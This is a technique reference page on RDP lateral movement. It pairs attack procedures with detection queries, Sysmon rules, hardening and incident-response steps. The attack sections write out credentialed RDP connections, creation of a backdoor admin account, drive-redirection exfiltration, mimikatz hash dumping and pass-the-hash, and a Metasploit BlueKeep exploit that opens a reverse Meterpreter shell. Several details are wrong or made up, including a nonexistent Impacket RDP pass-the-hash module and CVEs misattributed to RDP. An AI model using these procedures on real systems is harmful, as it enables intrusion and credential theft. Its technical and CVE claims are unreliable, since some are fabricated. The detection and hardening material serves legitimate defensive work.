| Attribute | Details |
|---|---|
| Technique ID | LM-REMOTE-003 |
| MITRE ATT&CK v18.1 | T1021.001 |
| Tactic | Lateral Movement |
| Platforms | Windows Endpoint |
| Severity | Critical |
| CVE | CVE-2019-0708 (BlueKeep), CVE-2023-21889, CVE-2024-21893 |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Windows Server 2016-2025, Windows 10/11 (all versions if RDP enabled) |
| Patched In | KB4500331 (BlueKeep mitigation); CVE-2024-21893 unpatched as of Jan 2026 |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Remote Desktop Protocol (RDP) is a legitimate Windows remote access mechanism enabling graphical session management over the network. Attackers with valid credentials can establish RDP sessions to compromise systems, execute commands with user/admin privileges, establish persistent access, and laterally move across domains. RDP is particularly dangerous because: (1) It provides full system access, (2) Activity is often legitimized as administrative access, (3) Attackers can interact with the desktop (evade detection), and (4) Modern RDP implementations have known vulnerabilities (CVE-2019-0708 BlueKeep, CVE-2023-21889).
Attack Surface: RDP protocol (TCP 3389, UDP 3389 in newer Windows), RDP Gateway, RDP credentials, CredSSP authentication, Clipboard redirection, Drive/printer redirection (potential exfiltration vectors).
Business Impact: Critical—Full system compromise with legitimate appearance. An attacker establishing RDP access has full control equivalent to local administrator. They can: (1) Execute arbitrary commands, (2) Access all files and data, (3) Install rootkits/backdoors, (4) Create new admin accounts, (5) Exfiltrate data via clipboard/drive redirection, (6) Modify audit logs, and (7) Pivot to other systems without obvious indicators.
Technical Context: RDP sessions are highly visible in Event Logs (Event ID 4624 - logon type 10) if auditing is enabled. However, many organizations accept RDP activity as normal. BlueKeep (CVE-2019-0708) enables pre-authentication RCE on outdated systems. Modern RDP uses encryption (TLS 1.2+) but is vulnerable to credential interception if not properly hardened.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 18.3.1 | Disable RDP on non-remote-access systems; enforce NLA |
| DISA STIG | WN10-CC-000315 | Enable Network Level Authentication (NLA); restrict RDP access |
| NIST 800-53 | AC-3 (Access Enforcement), SC-7 (Boundary Protection) | Restrict RDP to authorized systems; require MFA |
| GDPR | Art. 32 | Security of Processing—remote access auditing mandatory |
| NIS2 | Art. 21 | Cyber Risk Management—restrict remote access; monitor logons |
| ISO 27001 | A.6.2 (Access to Networks and Network Services) | Restrict RDP to essential systems only; enforce MFA |
| ISO 27005 | Risk Scenario: “Unauthorized Remote Access” | Detect and contain RDP-based lateral movement |
Supported Versions:
Tools Required:
Supported Versions: Server 2016-2025, Windows 10/11
Objective: Connect to remote system via native Windows RDP client.
Command (PowerShell):
# Connect via RDP using credentials
mstsc.exe /v:192.168.1.10 /u:DOMAIN\user /p:Password123!
Command (Interactive - Enter credentials at login screen):
# Launch RDP client
mstsc.exe /v:192.168.1.10
# At login screen, enter credentials
Command (RDP Connection File):
# Create RDP connection file
$RDPFile = @"
full address:s:192.168.1.10
username:s:DOMAIN\user
password 51:s:AAAABBBBCCCCDDDDEEEEFFFFGGGG1111
"@
$RDPFile | Out-File "C:\temp\connection.rdp" -Encoding ASCII
# Connect via RDP file
mstsc.exe "C:\temp\connection.rdp"
Expected Output:
[+] RDP Connection Established
[+] Desktop session active on 192.168.1.10
[+] User: DOMAIN\user
[+] Privileges: Standard User (or Admin if escalated)
What This Means:
OpSec & Evasion:
Objective: Execute arbitrary commands with RDP session privileges.
Command (From RDP Desktop):
# Open Command Prompt on RDP desktop
# Click Start → Run → cmd.exe
# Or press Windows+R → type cmd
# Execute whoami
whoami
# Execute ipconfig
ipconfig /all
# Create new admin account (if RDP user is admin)
net user attacker SecurePassword123! /add
net localgroup administrators attacker /add
Expected Output:
C:\Users\user> whoami
domain\user
C:\Users\user> net user attacker SecurePassword123! /add
The command completed successfully.
What This Means:
OpSec & Evasion:
Objective: Extract sensitive files from compromised system.
Command (Using RDP Drive Redirection):
# RDP /drive parameter enables local drive access in RDP session
mstsc.exe /v:192.168.1.10 /u:DOMAIN\user /p:Password123! /drive:C,C:
# This mounts local C: drive as "\\?\C:\" within RDP session
# Or create RDP file with drive redirection
$RDPContent = @"
full address:s:192.168.1.10
username:s:DOMAIN\user
drivestoredirect:s:*
"@
$RDPContent | Out-File "connection.rdp"
mstsc.exe connection.rdp
From RDP Desktop:
# Access local drives mounted via RDP
# Navigate to \\tsclient\C to access attacker's C drive
# Or copy files from remote system to local drive via Ctrl+C/Ctrl+V
What This Means:
OpSec & Evasion:
Supported Versions: Windows Server 2016-2025 (FreeRDP client runs on Linux)
Objective: Identify systems with RDP enabled.
Command (Linux):
# Scan network for RDP port (TCP 3389)
nmap -p 3389 192.168.1.0/24 -v
# Or use Metasploit RDP scanner
msfconsole -q
use auxiliary/scanner/rdp/rdp_scanner
set RHOSTS 192.168.1.0/24
run
Expected Output:
Nmap scan report for 192.168.1.10
Host is up (0.0015s latency).
3389/tcp open ms-wbt-server
Nmap scan report for 192.168.1.11
Host is up (0.0014s latency).
3389/tcp open ms-wbt-server
What This Means:
Objective: Establish RDP session from Linux to Windows system.
Command (Linux):
# Install FreeRDP (Ubuntu/Debian)
sudo apt-get install freerdp2-x11
# Connect to RDP using credentials
xfreerdp /v:192.168.1.10 /u:DOMAIN\\user /p:Password123! /size:1920x1080 /d:DOMAIN
Expected Output:
[07:23:45:123] [RDP] ++ Connected to 192.168.1.10:3389
[07:23:46:456] [RDP] ++ RDP session negotiation successful
[07:23:47:789] [RDP] ++ Session licensed
[RDP Session open in GUI window]
What This Means:
Objective: Achieve remote code execution without credentials on vulnerable systems.
Command (Metasploit - requires vulnerable RDP: Server 2003-2008 R2, or unpatched Server 2012):
msfconsole -q
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS 192.168.1.100
set LHOST 192.168.1.5
set LPORT 4444
exploit
Expected Output:
[*] Trying target 192.168.1.100 with RDP version 6.1 (Windows Server 2008 R2)
[+] BlueKeep vulnerability confirmed!
[+] Staging payload...
[*] Sending exploit payload (11920 bytes)...
[+] RCE successful; Meterpreter session opened
meterpreter >
What This Means:
OpSec & Evasion:
Supported Versions: Server 2016-2025
Objective: Leverage Pass-the-Hash to gain RDP access without plaintext password.
Command (Using Impacket secretsdump to extract hash, then RDP via Hashcat/John):
# Extract NTLM hash (from compromised system)
python3 /opt/impacket/examples/secretsdump.py LOCAL -outputfile /tmp/hashes
# Use hash for RDP connection via Linux
# Note: RDP itself doesn't support Pass-the-Hash; requires CredSSP modification or Windows-based tools
# Alternative: Use Impacket's rdp module (experimental)
python3 -m impacket.rdp_pth -hashes :HASH 192.168.1.10
Command (Windows-based RDP PTH via modified CredSSP):
# Using mimikatz to perform Pass-the-Hash + RDP
mimikatz # lsadump::sam
mimikatz # sekurlsa::logonpasswords # Extract NTLM hashes
mimikatz # token::run /user:DOMAIN\admin /ntlm:HASH
# Now execute mstsc.exe with elevated token
mstsc.exe /v:192.168.1.10
Expected Output:
[+] NTLM hash authenticated
[+] RDP session established with DOMAIN\admin privileges
[+] Desktop access granted
What This Means:
Version: Available on all Windows systems
Usage:
# Basic connection
mstsc.exe /v:192.168.1.10
# With username
mstsc.exe /v:192.168.1.10 /u:user
# With username and password (insecure; credentials visible in command line)
mstsc.exe /v:192.168.1.10 /u:DOMAIN\user /p:Password123!
# Full screen
mstsc.exe /v:192.168.1.10 /f
# Specific resolution
mstsc.exe /v:192.168.1.10 /w:1920 /h:1080
# RDP file
mstsc.exe C:\config.rdp
# Admin mode
mstsc.exe /v:192.168.1.10 /admin
Repository: GitHub - FreeRDP/FreeRDP
Installation (Linux):
# Ubuntu/Debian
sudo apt-get install freerdp2-x11
# CentOS/RHEL
sudo yum install freerdp
# macOS
brew install freerdp
Usage:
# Basic connection
xfreerdp /v:192.168.1.10
# With credentials
xfreerdp /v:192.168.1.10 /u:user /p:password /d:DOMAIN
# With drive redirection (enable clipboard)
xfreerdp /v:192.168.1.10 /u:user /p:password /drive:Linux,/tmp /clipboard
# Fullscreen
xfreerdp /v:192.168.1.10 /f
# Network-level authentication (NLA)
xfreerdp /v:192.168.1.10 /u:user /p:password /nla
Installation:
sudo apt-get install rdesktop
Usage:
rdesktop -u user -p password 192.168.1.10
rdesktop -u DOMAIN\\user -p password -g 1920x1080 192.168.1.10
Primary Event IDs:
| Event ID | Source | What It Detects | Detection Difficulty |
|---|---|---|---|
| 4624 (Logon Type 10) | Security | RDP logon attempt (successful) | Low |
| 4625 | Security | RDP logon failure | Low |
| 4634 | Security | Session logout | Low |
| 5140 | Security | RDP network logon | Medium |
| 4672 | Security | Special privileges assigned (RDP as admin) | Medium |
| 4688 | Security | Process creation from RDP session | Medium |
| 131 (RDP-Tcp) | Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational | RDP connection attempt | Medium |
| 24 (RDP-Tcp) | Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational | RDP connection established | Medium |
Manual Configuration Steps (Group Policy - Enable RDP Auditing):
gpupdate /forceDetection Query (Event ID 4624 - RDP Logon):
# Find RDP logons
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4624
StartTime=(Get-Date).AddDays(-1)
} | Where-Object { $_.Message -match "10" } | Select-Object TimeCreated, Message | Format-Table
# Logon Type 10 = RDP/RemoteInteractive
Detection Query (Multiple Failed RDP Logons - Brute Force Indicator):
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4625
StartTime=(Get-Date).AddHours(-1)
} | Group-Object -Property @{expression={$_.Properties[5].Value}} | Where-Object { $_.Count -gt 5 }
# Groups failed logons by username; >5 attempts in 1 hour indicates brute force
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4625 // Failed logon
| where LogonType == 10 // RDP/RemoteInteractive
| summarize FailedLogonCount=count() by TargetAccount, IpAddress, Computer
| where FailedLogonCount > 5 // Threshold for brute force
| project Computer, TargetAccount, IpAddress, FailedLogonCount
| join kind=inner (
SecurityEvent
| where EventID == 4624 // Successful logon
| where LogonType == 10
| project Computer, TargetAccount, IpAddress, SuccessfulTime=TimeGenerated
) on Computer, TargetAccount, IpAddress
| where SuccessfulTime > TimeGenerated // Success after failures
| project Computer, TargetAccount, IpAddress, FailedLogonCount, SuccessfulTime
What This Detects:
Manual Configuration Steps (Azure Portal):
RDP Brute Force DetectionHigh10 minutes1 hourRule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4624 // Successful logon
| where LogonType == 10 // RDP
| where TargetAccount has_any ("Domain Admins", "Enterprise Admins", "-admin", "Administrator")
| where IpAddress !in ("127.0.0.1", "::1") // Exclude localhost
| summarize Count=count() by TargetAccount, Computer, IpAddress
| project TargetAccount, Computer, IpAddress, Count
What This Detects:
Minimum Sysmon Version: 13.0+
Config Snippet:
<!-- Detect RDP-related suspicious activity -->
<RuleGroup name="RDP Lateral Movement" groupRelation="or">
<!-- Detect mstsc.exe with command-line parameters (automation) -->
<ProcessCreate onmatch="include">
<Image condition="contains">mstsc.exe</Image>
<CommandLine condition="contains any">/v:, /u:, /p:</CommandLine>
</ProcessCreate>
<!-- Detect RDP service connections from non-standard sources -->
<NetworkConnect onmatch="include">
<DestinationPort>3389</DestinationPort>
<DestinationIp condition="is not">127.0.0.1</DestinationIp>
<Image condition="contains any">svchost.exe, services.exe</Image>
</NetworkConnect>
<!-- Detect FreeRDP/rdesktop execution from Linux/attacker systems -->
<ProcessCreate onmatch="include">
<Image condition="contains any">xfreerdp, rdesktop, freerdp</Image>
</ProcessCreate>
<!-- Detect RDP session processes (svchost.exe -k termsvcs) -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">-k termsvcs</CommandLine>
</ProcessCreate>
</RuleGroup>
Manual Configuration Steps:
sysmon-rdp-config.xml with the config abovesysmon64.exe -accepteula -i sysmon-rdp-config.xml
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object {$_.Message -match "RDP|mstsc"} | Select-Object TimeCreated, Message | Head -20
Disable RDP on Non-Critical Systems:
Manual Steps (Group Policy):
gpupdate /forceManual Steps (Registry):
# Disable RDP
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 1
# Disable RDP for security
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "SecurityLayer" -Value 2 # Force TLS
Verification:
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Terminal Server" | Select-Object fDenyTSConnections
# Should return: 1 (RDP disabled)
Enforce Network Level Authentication (NLA):
Manual Steps (Group Policy):
gpupdate /forceManual Steps (Registry):
# Enforce NLA
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "SecurityLayer" -Value 2
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Value 1
Change RDP Port from Default (3389):
Manual Steps (Registry):
# Change RDP port to 13389 (obscurity; not true security but reduces brute force attempts)
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "PortNumber" -Value 13389
# Verify
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" | Select-Object PortNumber
Update Firewall:
# Remove default RDP rule
Remove-NetFirewallRule -DisplayName "Remote Desktop - User Mode*" -Confirm:$false
# Create rule for custom port
New-NetFirewallRule -DisplayName "Remote Desktop (Custom Port 13389)" -Direction Inbound -Action Allow -Protocol TCP -LocalPort 13389 -Enabled:$true
Restrict RDP Access via Firewall:
Manual Steps (Firewall):
# Allow RDP only from specific IP/subnet (e.g., admin workstations)
New-NetFirewallRule -DisplayName "RDP - Admins Only" -Direction Inbound -Action Allow -Protocol TCP -LocalPort 3389 `
-RemoteAddress "192.168.1.100,192.168.1.101" -Enabled:$true
# Block RDP from all other sources
New-NetFirewallRule -DisplayName "Block RDP - All Other" -Direction Inbound -Action Block -Protocol TCP -LocalPort 3389 -Enabled:$true
Implement RDP Gateway (Bastion Host):
Manual Steps (Deploy RDP Gateway):
Enable CredSSP Encryption:
Manual Steps (Group Policy):
gpupdate /forceC:\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager.evtxC:\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager.evtxIsolate System:
Command (PowerShell):
# Terminate all RDP sessions
logoff.exe
# Or disable RDP service
Stop-Service TermService -Force
Set-Service TermService -StartupType Disabled
# Disconnect from network
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
Manual:
Collect Evidence:
Command (PowerShell):
# Export RDP-related event logs
wevtutil epl Security C:\Evidence\Security.evtx
wevtutil epl Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational C:\Evidence\RDP_RemoteConnectionManager.evtx
wevtutil epl Microsoft-Windows-TerminalServices-LocalSessionManager/Operational C:\Evidence\RDP_LocalSessionManager.evtx
# Get user accounts
Get-LocalUser | Export-Csv C:\Evidence\LocalUsers.csv
# Get RDP registry key
Get-Item -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" | Export-Csv C:\Evidence\RDP_Registry.csv
Remediate:
Command (PowerShell):
# Reset RDP port to default
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "PortNumber" -Value 3389
# Force reset administrator password
Set-ADAccountPassword -Identity "Administrator" -NewPassword (ConvertTo-SecureString "NewSecurePassword!" -AsPlainText -Force) -Reset
# Remove suspicious user accounts
Remove-LocalUser -Name "attacker" -Force -ErrorAction SilentlyContinue
# Re-enable RDP service (if needed)
Set-Service TermService -StartupType Automatic
Start-Service TermService
# Apply patches (CVE-2019-0708, etc.)
# Download and install latest security patches
Long-Term Remediation:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-AD-003] PowerView enumeration | Enumerate systems with RDP enabled |
| 2 | Credential Access | [CA-BRUTE-001] Azure portal password spray | Spray credentials for RDP access |
| 3 | Lateral Movement | [LM-REMOTE-003] RDP | Connect via RDP with valid credentials |
| 4 | Privilege Escalation | [PE-EXPLOIT-001] PrintNightmare RCE | Escalate to SYSTEM via CVE-2021-34527 |
| 5 | Persistence | [PERSIST-ACCT-001] AdminSDHolder abuse | Maintain access via ACL manipulation |
| CVE | Description | Affected Versions | Patch |
|---|---|---|---|
| CVE-2019-0708 | BlueKeep - Wormable RDP RCE (pre-auth) | Server 2003-2008 R2, XP | KB4500331 |
| CVE-2023-21889 | RDP Remote Code Execution | Server 2016-2022 | KB5023773 |
| CVE-2024-21893 | RDP RCE (Unpatched as of Jan 2026) | Server 2019-2025 | Patch pending |